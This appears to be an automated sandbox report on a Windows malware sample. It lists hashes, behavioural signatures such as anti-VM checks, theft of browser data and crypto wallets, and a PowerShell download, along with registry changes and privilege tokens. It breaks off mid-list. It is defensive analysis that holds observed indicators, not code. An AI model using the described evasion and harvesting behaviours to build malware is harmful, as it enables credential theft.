Analysis
- max time kernel
138s - max time network
155s - platform
windows10_x64 - resource
win10v20210408 - submitted
20/09/2021, 13:59
Static task
static1
Behavioral task
behavioral1
Sample
aa50acd8116fddaaeec779efeab5555a.exe
Resource
win7-en-20210916
General
- Target aa50acd8116fddaaeec779efeab5555a.exe
- Size 1.6MB
- Sample210920-rad2xaghhm
- SHA256 39f5b13c60418f4bcefdd1df075a6fe9e8bd879340c42d12c8a5e636aa035e6d
- MD5 aa50acd8116fddaaeec779efeab5555a
- SHA1 7312731a66c51e8c51f680aed1aee90c397b8282
- SHA512 ed42f11675aa5a0cecaa273b6fbcb04a323170031bd65cea1447d183461e34b4a76a918cbad6c657417e34f96be07710f8796652af2703e9ac0da1787e48aa61
- MD5 SHA1 SHA512
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4164 3352 rundll32.exe 14 - suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
- Blocklisted process makes network request 1 IoCs
flow pid Process 11 736 powershell.exe - Downloads MZ/PE file
- Executes dropped EXE 4 IoCs
pid Process 3008 f.exe 3572 wwi.exe 1796 237843444.exe 3108 sviss.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wwi.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion wwi.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation wwi.exe - Loads dropped DLL 2 IoCs
pid Process 4020 aa50acd8116fddaaeec779efeab5555a.exe 4188 rundll32.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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resource yara_rule behavioral2/files/0x000100000001ab10-120.dat themida behavioral2/memory/3572-125-0x0000000000F60000-0x0000000000F61000-memory.dmp themida - Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA wwi.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 45 ip-api.com - Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 svchost.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3572 wwi.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2596 set thread context of 4312 2596 svchost.exe 84 - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe - Modifies data under HKEY_USERS 16 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache svchost.exe - Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000005f5ead6fa7bf4cd955761a1650bb1d2dd7ac7e9048a40bfbe45985135a65263ffcbff8a4183c72a30a22ac1e5d5c14f748ea713b168bfebbfac4f7f771c4badf98c1849ad0d5ac00e075b7fca601f4660e19751a6b9f98c384a8b46de6b8b5669504479b7baca65148129dd1a8cc6945cbd83338620077b79da50733ec61e392ff282578c6df93f17197c8df70dc4c4c73c91da36acef8c4ec5b66bc53e0eb1626ce8c030090b7c6a2a50e1f0e513038288b122d37295d5a5e6a7f0838538c0a7894a39cfbdd83a276dd5f88664b482d82bdd2403c3169b178726e0af5db35c3461bfbc81ce85773ebdd9b188de9376e2a01f4c1820629243d13e49c0c9958e89f03e6dee6cfcc4311475985e44dd25c63f60effb0c86d590aed370b23aba7e4e9ec50c107b4a9091eb9280c3b96aed1d63bf6b9e197cc396ca05026ff3201a0d07641a8cbb5824b92d4159241e470c000727e31ce930bba87cbb0ea974ee48d3142bdfc31f4558d043947539356b8286e3af349c7dc8074af10aab95e20f1054ceebb437390df8ed286141ecd0eac60b13219bea4926b0fac7f957d18ff8d85487ad433bdcc MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000cc080f5d5eb4b3019ebd11d4d17d437354a93a0dd2e25f694b02c0e4e13f605915b3ad4485d5ea6e36fab29458e869bb770a28b10fe03fc121a952eeac6ad07628d20401ad970cbcb85358ebe08135c6b53d0d9415a95f866919 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\"" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\LastClosedHeight = "600" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{69RG4ZP0-857P-S13A-ZW93-6DTG316B7ZWC}\650478DC7424C37C\2 = "1" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{62FM2EJ3-714D-A09D-WM25-6QFJ226I1FER}\1 = "2201" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT} svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{69RG4ZP0-857P-S13A-ZW93-6DTG316B7ZWC}\7289246C77593EBF svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersi = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 1d24df8b702cd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{45AC2TN3-666M-M32E-TO40-1MIP137D5TOZ} svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{69RG4ZP0-857P-S13A-ZW93-6DTG316B7ZWC}\7289246C77593EBF\2 = "1" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{69RG4ZP0-857P-S13A-ZW93-6DTG316B7ZWC}\650478DC7424C37C svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 1d24df8b702cd701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-08760 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 1d24df8b702cd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT}\1 = "4620" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3572 wwi.exe 3572 wwi.exe 736 powershell.exe 736 powershell.exe 736 powershell.exe 3572 wwi.exe 4188 rundll32.exe 4188 rundll32.exe 2596 svchost.exe 2596 svchost.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2676 MicrosoftEdgeCP.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 736 powershell.exe Token: SeDebugPrivilege 3008 f.exe Token: SeDebugPrivilege 1796 237843444.exe Token: SeDebugPrivilege 3572 wwi.exe Token: SeDebugPrivilege 420 MicrosoftEdge.exe Token: SeDebugPrivilege 420 MicrosoftEdge.exe Token: SeDebugPrivilege 420 MicrosoftEdge.exe Token: SeDebugPrivilege 420 MicrosoftEdge.exe Token: SeDebugPrivilege 3176 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 3176 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 3176 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 3176 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 2596 svchost.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 4188 rundll32.exe Token: SeDebugPrivilege 420 MicrosoftEdge.exe Token: SeAssignPrimaryTokenPrivilege 2752 svchost.exe Token: SeIncreaseQuotaPrivilege 2752 svchost.exe Token: SeSecurityPrivilege 2752 svchost.exe Token: SeTakeOwnershipPrivilege 2752 svchost.exe Token: SeLoadDriverPrivilege 2752 svchost.exe Token: SeSystemtimePrivilege 2752 svchost.exe Token: SeBackupPrivilege 2752 svchost.exe Token: SeRestorePrivilege 2752 svchost.exe Token: SeShutdownPrivilege 2752 svchost.exe Token: SeSystemEnvironmentPrivilege 2752 svchost.exe Token: SeUndockPrivilege 2752 svchost.exe Token: SeManageVolumePrivilege 2752 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2752 svchost.exe Token: SeIncreaseQuotaPrivilege 2752 svchost.exe Token: SeSecurityPrivilege 2752 svchost.exe Token: SeTakeOwnershipPrivilege 2752 svchost.exe Token: SeLoadDriverPrivilege 2752 svchost.exe Token: SeSystemtimePrivilege 2752 svchost.exe Token: SeBackupPrivilege 2752 svchost.exe Token: SeRestorePrivilege 2752 svchost.exe Token: SeShutdownPrivilege 2752 svchost.exe Token: SeSystemEnvironmentPrivilege 2752 svchost.exe Token: SeUndockPrivilege 2752 svchost.exe Token: SeManageVolumePrivilege 2752 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2752 svchost.exe Token: SeIncreaseQuotaPrivilege 2752 svchost.exe Token: SeSecurityPrivilege 2752 svchost.exe Token: SeTakeOwnershipPrivilege 2752 svchost.exe Token: SeLoadDriverPrivilege 2752 svchost.exe Token: SeSystemtimePrivilege 2752 svchost.exe Token: SeBackupPrivilege 2752 svchost.exe Token: SeRestorePrivilege 2752 svchost.exe Token: SeShutdownPrivilege 2752 svchost.exe Token: 